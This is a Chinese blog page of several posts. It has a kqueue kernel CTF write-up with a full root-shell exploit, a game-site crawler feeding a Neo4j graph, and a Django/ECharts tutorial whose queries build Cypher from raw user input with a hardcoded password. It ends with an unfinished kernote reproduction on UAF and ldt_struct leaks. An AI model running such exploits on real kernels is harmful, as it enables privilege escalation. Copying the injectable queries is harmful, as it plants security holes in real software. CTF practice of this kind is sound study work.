于是我们可以堆喷覆写 kmalloc-32 上的 seq_operations->start 为 shellcode

这一步的调试比较麻烦,我的建议是:

  • 直接在 shellcode 打断点进行调试(0x401D1F

当然也可以用常规的调试方式:

  • 关闭 Kaslr ,开启 Root,在 seq_read(旧的内核版本用的是 seq_read_iter)打上断点,然后对着源码进行调试
1
2
/ # cat /proc/kallsyms | grep seq_read
ffffffff812010f0 T seq_read
  • 另外还可以利用 IDA 去分析 vmlinux,以确定准确的断点(vmlinux 可以用 extract-vmlinux 来生成)
  • 这部分可以对照源码来看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:FFFFFFFF812010F0
.text:FFFFFFFF812010F0 loc_FFFFFFFF812010F0: ; CODE XREF: .text:FFFFFFFF8126FA8E↓j
.text:FFFFFFFF812010F0 41 57 push r15
.text:FFFFFFFF812010F2 41 56 push r14
.text:FFFFFFFF812010F4 41 55 push r13
.text:FFFFFFFF812010F6 41 54 push r12
.text:FFFFFFFF812010F8 55 push rbp
.text:FFFFFFFF812010F9 48 89 CD mov rbp, rcx
.text:FFFFFFFF812010FC 53 push rbx
.text:FFFFFFFF812010FD 48 83 EC 20 sub rsp, 20h
.text:FFFFFFFF81201101 4C 8B B7 C8 00 00 00 mov r14, [rdi+0C8h]
.text:FFFFFFFF81201108 48 89 74 24 08 mov [rsp+8], rsi
.text:FFFFFFFF8120110D 4D 8D 7E 38 lea r15, [r14+38h]
.text:FFFFFFFF81201111 48 89 14 24 mov [rsp], rdx
.text:FFFFFFFF81201115 4C 89 FF mov rdi, r15
.text:FFFFFFFF81201118 E8 83 97 8E 00 call sub_FFFFFFFF81AEA8A0

下面简述一下定位的过程:

  • 先找函数指针,按 x 交叉引用看看哪个变量使用了函数指针:
1
__int64 (__fastcall **v8)(__int64 *, __int64); // rax
  • 最后确定调用 seq_operations->start 的代码位置:(0xFFFFFFFF8120115B
1
2
3
v8 = (__int64 (__fastcall **)(__int64 *, __int64))v5[11];
v5[2] = 0LL;
v9 = (*v8)(v5, (__int64)(v5 + 5));

调试信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x401d1f    push   rbp
0x401d20 mov rbp, rsp
0x401d23 mov r12, qword ptr [rsp + 8]
0x401d28 sub r12, 0x201179
0x401d2f mov r13, r12
0x401d32 add r12, 0x8c580
0x401d39 add r13, 0x8c140
0x401d40 xor rdi, rdi
0x401d43 call r12

0x401d46 mov rdi, rax
0x401d49 call r13
──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc900001bbe78 —▸ 0xffffffff81201179 ◂— mov r12, rax
01:00080xffffc900001bbe80 ◂— 1
02:00100xffffc900001bbe88 —▸ 0x7ffc16cbd5b0 —▸ 0x401d39 ◂— add r13, 0x8c140
03:00180xffffc900001bbe90 ◂— 0
04:00200xffffc900001bbe98 ◂— add byte ptr [rdx + 0x17], cl /* 0x52b5f5b51e174a00 */
05:00280xffffc900001bbea0 ◂— 1
06:00300xffffc900001bbea8 ◂— 1

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>

typedef struct
{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;

long dev_fd;
size_t getroot_addr;

#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE 0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE_KQUEUE 0xB105BABE

size_t prepare_kernel_cred_low = 0x8c580;
size_t commit_creds_low = 0x8c140;

int init_fd(char* str){
dev_fd = open(str,O_RDWR);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_reg(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("saved");
}

void getroot(void)
{
if(getuid())
{
puts("wrong root");
exit(-1);
}
puts("root");
system("/bin/sh");
exit(0);
}

void errExit(char * msg)
{
perror(msg);
exit(0);
}

void createQueue(request_t req)
{
ioctl(dev_fd, CREATE_KQUEUE, &req);
}

void editQueue(request_t req)
{
ioctl(dev_fd, EDIT_KQUEUE, &req);
}

void deleteQueue(request_t req)
{
ioctl(dev_fd, DELETE_KQUEUE, &req);
}

void saveQueue(request_t req)
{
ioctl(dev_fd, SAVE_KQUEUE, &req);
}

void shellcode(void)
{
__asm__(
"mov r12, [rsp + 0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, prepare_kernel_cred_low;"
"add r13, commit_creds_low;"
"xor rdi, rdi;"
"call r12;"
"mov rdi, rax;"
"call r13;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, getroot_addr;"
"push r14;"
"iretq;"
);
}

int main(int argc, char **argv, char**envp)
{
long seq_fd[0x200];
size_t *page;
size_t data[0x20];
request_t req;

save_reg();
getroot_addr = (size_t)getroot;
init_fd("/dev/kqueue");

for (int i = 0; i < 0x20; i++)
data[i] = (size_t)shellcode;

printf("shellcode : 0x%lx\n",shellcode);
sleep(2);

req.max_entries = 0xffffffff;
req.data_size = 0x20 * 8;
createQueue(req);

req.data = data;
req.max_entries = 0;
req.data_size = 0;
editQueue(req);

for (int i = 0; i < 0x10; i++)
seq_fd[i] = open("/proc/self/stat", O_RDONLY);

req.data_size = 0x40;
saveQueue(req);

for (int i = 0; i < 0x10; i++)
read(seq_fd[i], data, 1);
}

小结:

这个题其实是给了源码的,但我看到题目把结构体作为形参传入时,就知道 IDA 分析出来肯定很乱

1
2
static noinline long create_kqueue(request_t request){}
static noinline long delete_kqueue(request_t request){}

于是打算用这个题来练一练内核模块的逆向

这个题目有3个不同的结构体,当时把结构体的范围搞错了,导致程序的功能难以理解

最后还调试了一下 seq_read 的执行流程(真的很慢)

知识图谱实践项目二

第二代的知识图谱项目作出了如下升级:

  • 新添 游戏作者 游戏类型 主体
  • 改变了爬虫的逻辑,使其可以爬取更多信息(效率有损失)
  • 优化了知识图谱的关系

爬虫代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# -*- coding: utf-8 -*-#

import os
from time import sleep
from lxml import etree
import requests, re
from urllib.parse import urljoin, urlencode
import pprint

headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.57',
}

class Crawler:
target_url = 'https://down.ali213.net/pcgame/all/0-0-0-0-new-pic-'
base_url = ''
name_file = 0
time_file = 0
size_file = 0
language_file = 0
content_file = 0
url_file = 0
classify_file = 0

def get_base_html(self,url):
res = requests.get(url,headers)
text = res.text.encode('iso-8859-1').decode('utf-8')
return text

def create_list(self):
base_html = self.get_base_html(self.base_url)
url_list = re.findall('<div class="famous-li"><a href="(/pcgame/.*?.html)" target="_blank" class="content-a">', base_html)

name_list = []
author_list = []
language_list = []
time_list = []
classify_list = []

for url in url_list:
url_html = self.get_base_html("https://down.ali213.net/"+url)
name_language = re.findall('<h1>(.*?)</h1>', url_html)
author = re.findall('<li>游戏发行.(.*?)</li>', url_html)
time = re.findall('<a href="/pcgame/all/0-0-(.*?)-0-new-pic-1.html" target', url_html)
classify = re.findall('-new-pic-1.html" target="_blank">(.*?)</a>',url_html)
content = re.findall('<p>\u3000\u3000(.*?)</p>',url_html)

name_language = str(name_language[0]).rsplit(" ",1)
name = str(name_language[0])
language = str(name_language[1])
author = str(author[0])
time = str(time[0])
del classify[1:3]

name_list.append(name)
author_list.append(author)
time_list.append(time)
language_list.append(language)
classify_list.append(classify)

if len(content) == 0:
self.content_file.write('\n')
else:
self.content_file.write(str(content[0])+'\n')

for i in list(zip(name_list,author_list,time_list,language_list,classify_list)):
print(i)

for i in range(len(name_list)):
self.name_file.write(str(name_list[i]) + "\n")
self.time_file.write(str(time_list[i]) + "\n")
self.language_file.write(str(language_list[i]) + "\n")
self.author_file.write(str(author_list[i]) + "\n")
self.url_file.write(str(url_list[i]) + "\n")
self.classify_file.write(str(classify_list[i])[1:-1].replace(',', '').replace('\'', '') + "\n")

def run(self):
self.name_file = open('data/name.txt', 'w', encoding='utf8')
self.size_file = open('data/size.txt', 'w', encoding='utf8')
self.author_file = open('data/author.txt', 'w', encoding='utf8')
self.time_file = open('data/time.txt', 'w', encoding='utf8')
self.language_file = open('data/language.txt', 'w', encoding='utf8')
self.content_file = open('data/content.txt', 'w', encoding='utf8')
self.url_file = open('data/url.txt', 'w', encoding='utf8')
self.classify_file = open('data/classify.txt', 'w', encoding='utf8')
for i in range(30):
self.base_url = self.target_url+str(i+1)
print("now is "+self.base_url)
self.create_list()

def test(self):
res = requests.get(self.target_url, headers)
print(res.encoding)

if __name__ == '__main__':
cra = Crawler()
cra.run()

知识图谱代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding: utf-8 -*-#

from py2neo import Graph,Node,Relationship
import os

classification = ['游戏名称','游戏标签','游戏类型','游戏作者']

class KG:
name_file = open('data/name.txt', 'r', encoding='utf8')
size_file = open('data/size.txt', 'r', encoding='utf8')
author_file = open('data/author.txt', 'r', encoding='utf8')
time_file = open('data/time.txt', 'r', encoding='utf8')
language_file = open('data/language.txt', 'r', encoding='utf8')
content_file = open('data/content.txt', 'r', encoding='utf8')
url_file = open('data/url.txt', 'r', encoding='utf8')
classify_file = open('data/classify.txt', 'r', encoding='utf8')

def createEntity(self,graph):
cql = '''CREATE (n:游戏数据库{id:'0', name:'游戏数据库'}) RETURN n'''
graph.run(cql)

for i, c in enumerate(classification):
cql = '''
MERGE (a:游戏数据库{id:'%d', name:'%s'})
MERGE (b {name: '游戏数据库'})
MERGE (b)-[:划分]->(a)
''' % (i+1, c)
graph.run(cql)

name_list = self.name_file.readlines()
time_list = self.time_file.readlines()
language_list = self.language_file.readlines()
author_list = self.author_file.readlines()
content_list = self.content_file.readlines()

for i in range(len(name_list)):
cql = """
MERGE (:游戏名称{id:'%d',名称:"%s",语言:'%s',内容简述:'%s',发售时间:'%s'})
""" % (i, name_list[i].replace('\n',''),
language_list[i].replace('\n',''),
content_list[i].replace('\n',''),
time_list[i].replace('\n',''))
graph.run(cql)

print("step 1 down")

author_tmp_list = []
for i in range(len(author_list)):
if author_list[i] not in author_tmp_list:
author_tmp_list.append(author_list[i])
cql = """
MERGE (:游戏作者{id:'%d', 名称:"%s"})
""" % (i, author_list[i].replace('\n',''))
graph.run(cql)

print("step 2 down")

classify_tmp_list = []
classify_tmp_list2 = []
for i in range(len(name_list)):
classify_list = self.classify_file.readline().split(' ')
for j in range(len(classify_list)-1):
if classify_list[j+1] not in classify_tmp_list:
classify_tmp_list.append(classify_list[j+1])
cql = """
MERGE (:游戏标签{标签:'%s'})
""" % (classify_list[j+1].replace('\n',''))
graph.run(cql)
if classify_list[0] not in classify_tmp_list2:
classify_tmp_list2.append(classify_list[0])
cql = """
MERGE (:游戏类型{类型:'%s'})
""" % (classify_list[0].replace('\n',''))
graph.run(cql)

print("step 3 down")

def createreRationship(self,graph):
self.name_file.seek(0)
self.time_file.seek(0)
self.size_file.seek(0)
self.language_file.seek(0)
self.content_file.seek(0)
self.author_file.seek(0)
self.classify_file.seek(0)
name_list = self.name_file.readlines()
time_list = self.time_file.readlines()
size_list = self.size_file.readlines()
author_list = self.author_file.readlines()
language_list = self.language_file.readlines()

for i in range(len(name_list)):
classify_file = self.classify_file.readline().split(' ')
for j in range(len(classify_file)-1):
cql = """
MATCH (a:游戏名称{id:'%d', 名称:"%s"}),
(b:游戏标签{标签:'%s'})
MERGE (b)-[:标签]->(a)
""" % (i,name_list[i].replace('\n',''),
classify_file[j+1].replace('\n',''))
graph.run(cql)

cql = """
MATCH (a:游戏名称{id:'%d', 名称:"%s"}),
(b:游戏类型{类型:'%s'})
MERGE (b)-[:类型]->(a)
""" % (i,name_list[i].replace('\n',''),
classify_file[0].replace('\n',''))
graph.run(cql)

cql = """
MATCH (a:游戏名称{id:'%d', 名称:"%s"}),
(b:游戏作者{id:'%d', 名称:"%s"})
MERGE (b)-[:制作]->(a)
""" % (i,name_list[i].replace('\n',''),
i,author_list[i].replace('\n',''))
graph.run(cql)

print("step 4 down")

if __name__ == '__main__':
test_graph = Graph("http://127.0.0.1:7474/browser/", auth=("neo4j", "123456789"))
test_graph.run('match(n) detach delete n')
kg = KG()
kg.createEntity(test_graph)
kg.createreRationship(test_graph)

基于 Django 的 Web 界面

Django 是一个由 Python 编写的开放源代码的 Web 应用框架

本篇博客先介绍一下 Django 的使用,然后展示一下我自己写的测试网页

建立 Django 项目

创建一个 HelloWorld 项目,使用命令行输入:

1
django-admin startproject HelloWorld
  • HelloWorld: 项目的容器
  • manage.py: 一个实用的命令行工具,可让你以各种方式与该 Django 项目进行交互
  • HelloWorld/init.py: 一个空文件,告诉 Python 该目录是一个 Python 包
  • HelloWorld/asgi.py: 一个 ASGI 兼容的 Web 服务器的入口,以便运行你的项目
  • HelloWorld/settings.py: 该 Django 项目的设置/配置
  • HelloWorld/urls.py: 该 Django 项目的 URL 声明; 一份由 Django 驱动的网站”目录”
  • HelloWorld/wsgi.py: 一个 WSGI 兼容的 Web 服务器的入口,以便运行你的项目

使用如下命令启动:

1
python manage.py runserver

在浏览器中使用如下网址:

在 Django 里面加载 HTML 的 CSS 样式

对于 Django 而言,加载 HTML,Django 会通过 templates 文件夹中放置的 HTML 来加载,有时需要嵌入 CSS 和 JS 等样式

在根目录下创建一个 base_views.py 文件:

1
2
3
4
5
6
from django.shortcuts import render
from django.views.decorators import csrf

# Create your views here.
def index(request):
return render(request,'base.html')

修改该根目录下 urls.py 文件中的代码:

1
2
3
4
5
6
7
from django.contrib import admin
from django.urls import re_path as url
from . import base_views

urlpatterns = [
url(r'^$', base_views.index),
]

修改根目录下的 settings.py 中的代码:

1
'DIRS': [os.path.join(BASE_DIR,'HelloWorld/templates')],
  • 修改 TEMPLATES 下的 DIRS

此时 Django 默认是对 CSS、JS 的静态文件是拒绝访问的,必须要在里面进行配置才行:

  • 在你建好的 Django 的根目录下新建 static 文件夹,在下面再新建 CSS,Images
  • settings.py 文件进行相关配置,在 STATIC_URL = '/static/' 后面加入如下代码:
1
STATICFILES_DIRS = ( os.path.join(BASE_DIR,'static'), )

最后需要对 html 进行修改,直接把 herf 链接写死

  • 修改前:
1
2
<link rel="stylesheet" href="css/normalize.css"> 
<script src="js/sakura.js"></script>
  • 修改后:
1
2
<link rel="stylesheet" href="/static/css/normalize.css">  
<script src="/static/js/sakura.js"></script>

最后对从网上下载的 HTML 进行魔改:

效果如下:

  • 关于 HTML 的编写不是本篇博客的重点,就略过了

基于 Echarts 的 Neo4j 可视化

在 Django 项目中使用 Neo4j

Django 可以把 Neo4j 中的知识图谱显示在前端页面上

我的做法是直接定义一个类用于连接 Neo4j:

1
2
3
4
5
6
7
class Neo4j():
graph = None
def __init__(self):
print("create neo4j class ...")

def connectDB(self):
self.graph = Graph("http://localhost:7474",auth=("neo4j", "123456789"))

并在根目录下 urls.py 文件所添加的函数中使用 Neo4j 类

  • 这里使用正则表达式来匹配 URL,如果匹配成功则调用后面的函数
1
2
3
4
urlpatterns = [
url(r'^$', base_views.index),
url(r'^detail', detail_views.searchDetail),
]

这种做法其实就是把 Neo4j 当成了 Django 项目中的一个子模块

Echarts 实现知识图谱可视化

Echarts 是用 JavaScript 实现的开源可视化库

学习这个东西可花了我不少的力气,效果如下:

我实现的思路就是直接在 urls.py 中添加用于实现功能的函数:

1
2
3
4
urlpatterns = [
url(r'^$', base_views.index),
url(r'^detail', detail_views.searchDetail),
]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def searchDetail(request):
if (request.GET):
entity = request.GET['user_text']
db = Neo4j()
db.connectDB()

game = db.name2game(entity)

if len(game) == 0:
ctx = {'title': 'ctx'}
return render(request, 'detail.html', {'ctx': json.dumps(ctx, ensure_ascii=False)})
else:
author = db.game2author(entity)
classify = db.game2classify(entity)
label = db.game2label(entity)
entityRelation = [game, author, classify, label]

return render(request, 'detail.html', {'entityRelation': json.dumps(entityRelation, ensure_ascii=False)})
return render(request, 'detail.html')
  • 识别 URL 中的 user_text 并调用对应的函数(简单转换为 Cypher 语句)
  • 在 Neo4j 中查找数据,将返回的数据提交给 JavaScript 层
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def name2game(self,value):
sql = "MATCH (n:游戏名称{名称:'"+str(value)+"'}) return n;"
answer = self.graph.run(sql).data()
return answer

def game2author(self,value):
sql = "MATCH(a)-[r:制作]->(b) where b.名称 = '"+str(value)+"' RETURN a;"
answer = self.graph.run(sql).data()
return answer

def game2classify(self,value):
sql = "MATCH(a)-[r:类型]->(b) where b.名称 = '"+str(value)+"' RETURN a;"
answer = self.graph.run(sql).data()
return answer

def game2label(self,value):
sql = "MATCH(a)-[r:标签]->(b) where b.名称 = '"+str(value)+"' RETURN a;"
answer = self.graph.run(sql).data()
return answer
  • 在 JavaScript 层中识别 Django 层函数返回的数据,简单处理后交给 Echarts:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
{% if ctx %}
<textarea style="background-color:rgba(0,0,0,0.6); font:26px 宋体; color:white;" cols="30" style="region:none" rows="18" style="region:none" >数据库中暂未添加该实体</textarea>
{% elif entityRelation %}
<div id="main" style="width:700px;height:600px"></div>
<script type="text/javascript">
var ctx = [ {{ ctx|safe }} ] ;
var entityRelation = [ {{ entityRelation|safe }} ] ;
var data = [] ;
var links = [] ;
var game = {};
var author = {};
var author_link = {}
var classify = {}
var classify_link = {}

console.log(entityRelation)
game['name'] = entityRelation[0][0][0]['n']['名称'];
game['category'] = 0;
game['symbolSize'] = 80;
data.push(game);

classify['name'] = entityRelation[0][2][0]['a']['类型'];
classify['category'] = 1;
classify['symbolSize'] = 60;
classify_link['name'] = "类型";
classify_link['target'] = classify['name'];
classify_link['source'] = game['name'];
data.push(classify);
links.push(classify_link)

author['name'] = entityRelation[0][1][0]['a']['名称'];
author['category'] = 2;
author['symbolSize'] = 60;
author_link['name'] = "作者";
author_link['target'] = author['name'];
author_link['source'] = game['name'];
data.push(author);
links.push(author_link)

for( var i = 0 ;i < entityRelation[0][3].length ; i++ ) {
var label = {}
var label_link = {}
label['name'] = entityRelation[0][3][i]['a']['标签'];
label['category'] = 3;
label['symbolSize'] = 50;
label_link['name'] = "标签";
label_link['target'] = label['name'];
label_link['source'] = game['name'];
data.push(label);
links.push(label_link);
}

var myChart = echarts.init(document.getElementById('main'));
var categories = [
{
name: '游戏'
}, {
name: '类型'
}, {
name: '作者'
}, {
name: '标签'
},
];

option = {
title: {
text: 'ECharts 关系图'
},
tooltip: {
formatter: function (x) {
return x.data.des;
}
},
toolbox: {
show: true,
feature: {
mark: {
show: true
},
restore: {
show: true
},
saveAsImage: {
show: true
}
}
},
legend: [{
data: categories.map(function (a) {
return a.name;
})
}],
series: [{
type: 'graph',
layout: 'force',
symbolSize: 40,
roam: true,
edgeSymbol: ['circle', 'arrow'],
edgeSymbolSize: [2, 10],
edgeLabel: {
normal: {
textStyle: {
fontSize: 20
}
}
},
force: {
repulsion: 2500,
edgeLength: [10, 50]
},
draggable: true,
lineStyle: {
normal: {
width: 2,
color: '#4b565b',
}
},
edgeLabel: {
normal: {
show: true,
formatter: function (x) {
return x.data.name;
}
}
},
label: {
normal: {
show: true,
textStyle: {}
}
},
data: data,
links: links,
categories: categories,
}]
};
myChart.setOption(option);
</script>
{% else %}
<textarea style="background-color:rgba(0,0,0,0.6); font:26px 宋体; color:white;" cols="30" style="region:none" rows="18" style="region:none" ></textarea>
  • var myChart = echarts.initmyChart.setOption(option) 都是 Echarts 的模板
  • 如果对 Django 层返回的数据不熟悉,可以直接用 console.log(entityRelation) 把该数据输出到控制台,并打开 F12 进行查看

kernote 复现

该题目的文件系统是 ext4(不是常规 kernel pwn 使用的 ramfs),我们可以使用 mount 命令将其挂载以查看并修改其内容

1
2
mkdir rootfs
sudo mount rootfs.img /home/yhellow/桌面/TCTF2021-FINAL-kernote/rootfs/

读取信息:

1
bzImage: Linux kernel x86 boot executable bzImage, version 5.11.9 (yzloser@yzloser-rubbish) #2 SMP Wed Sep 22 23:03:52 CST 2021, RO-rootFS, swap_dev 0x9, Normal VGA
  • version 5.11.9
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-hda ./rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \
-monitor /dev/null \
-smp cores=2,threads=2 \
-nographic \
-cpu kvm64,+smep,+smap \
-no-reboot \
-snapshot
  • smep,smap,kaslr,KPTI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
#mount -t devtmpfs devtmpfs /dev
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev>/proc/sys/kernel/hotplug
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo "flag{testflag}">/flag
chmod 660 /flag
insmod /kernote.ko
#/sbin/mdev -s
chmod 666 /dev/kernote
chmod 777 /tmp
setsid cttyhack setuidgid 1000 sh
poweroff -f
  • /proc/sys/kernel/dmesg_restrict
  • /proc/sys/kernel/kptr_restrict

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( (_DWORD)cmd == 0x6668 )                  // FREE_NOTE
{
key = -1LL;
if ( index <= 0xF )
{
note_tmp = buf[index];
if ( note_tmp )
{
kfree(note_tmp);
key = 0LL;
buf[index] = 0LL; // UAF
}
}
goto LABEL_15;
}
  • 在内核内存释放时,只置空了全局变量 buf,而没有置空 note
1
2
3
4
5
6
7
8
9
10
if ( (_DWORD)cmd == 0x6669 )                  // EDIT_NOTE
{
key = -1LL;
if ( note )
{
*note = index;
key = 0LL;
}
goto LABEL_15;
}
  • 允许向全局变量 note 中写入数据

入侵思路

有 UAF,申请的大小为 0x8 字节,在 Slub 中是 kmalloc-8

但本题目没有使用常规的 Slub,而是 Slab:

1
2
3
4
5
6
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
  • Random Freelist:slab 的 freelist 会进行一定的随机化
  • Hardened Freelist:slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或
  • Hardened Usercopy:在向内核拷贝数据时会进行检查
    • 地址是否存在
    • 是否在堆栈中
    • 是否为 slab 中 object
    • 是否非内核 .text 段内地址
  • Static Usermodehelper Path:modprobe_path 为只读,不可修改

在 Slab 中的最小 object 为32字节,因此本程序会申请 kmalloc-32,于是选择使用 ldt_struct + modify_ldt 来泄露内核基地址(在之前的博客中提到过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
return (unsigned int)ret;
}
  • 这里需要注意 read_ldtwrite_ldt 函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
......
new_ldt = alloc_ldt_struct(new_nr_entries);
......
return error;
}

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
......
}
  • write_ldt 中会调用 alloc_ldt_struct,然后根据用户输入的大小来重新分配 ldt_struct 结构体
1
2
3
4
5
6
7
8
9
10
11
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
......

if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

......
}
  • read_ldt 会调用 copy_to_userldt_struct->entries 中的数据返回给用户态

泄露的思路如下:

  • 申请并释放一个 object
  • 使用 write_ldt 中的 alloc_ldt_struct 函数复用这个 object
  • 使用 UAF 修改 object->entries
  • 使用 read_ldtobject->entries 输送给用户态

由于在通常情况下内核会开启 hardened usercopy 保护,当 copy_to_user 的源地址为内核 .text 段(包括 _stext_etext)时会引起 kernel panic

我们只能先爆破线性映射区 direct mapping area(kmalloc 使用的空间),然后通过 read_ldt 在堆上读取一些可利用的内核指针并泄露内核基地址

大致模板如下:

如果直接搜索整个线性映射区域,很有可能触发 hardened usercopy 的检查(目前不知道原因)

可以通过 fork 函数来绕过该检查,原理如下:

1
2
3
4
5
6
7
8
sys_fork()
kernel_clone()
copy_process()
copy_mm()
dup_mm()
dup_mmap()
arch_dup_mmap()
ldt_dup_context()
1
2
3
4
5
6
7
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
......
memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);
......
}
  • 在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查
  • 只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt 读取数据即可

接下来有两种提权思路:

  • 使用 seq_operations + pt_regs 绕过 KPTI
  • write_ldt 中进行条件竞争,使用 Double fetch 修改进程 uid 完成提权

seq_operations + pt_regs

结构体 seq_operations 的条目如下:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • 打开 /proc/self/stat 文件就可以分配一个 seq_operations
  • 对其进行 Read 即可触发 seq_operations->start

结构体 pt_regs 的条目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
  • 当执行 entry_SYSCALL_64 时会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体
  • 在系统调用的过程 r8 ~ r15 其实是用不上的,可以在这里放置 ROP 链
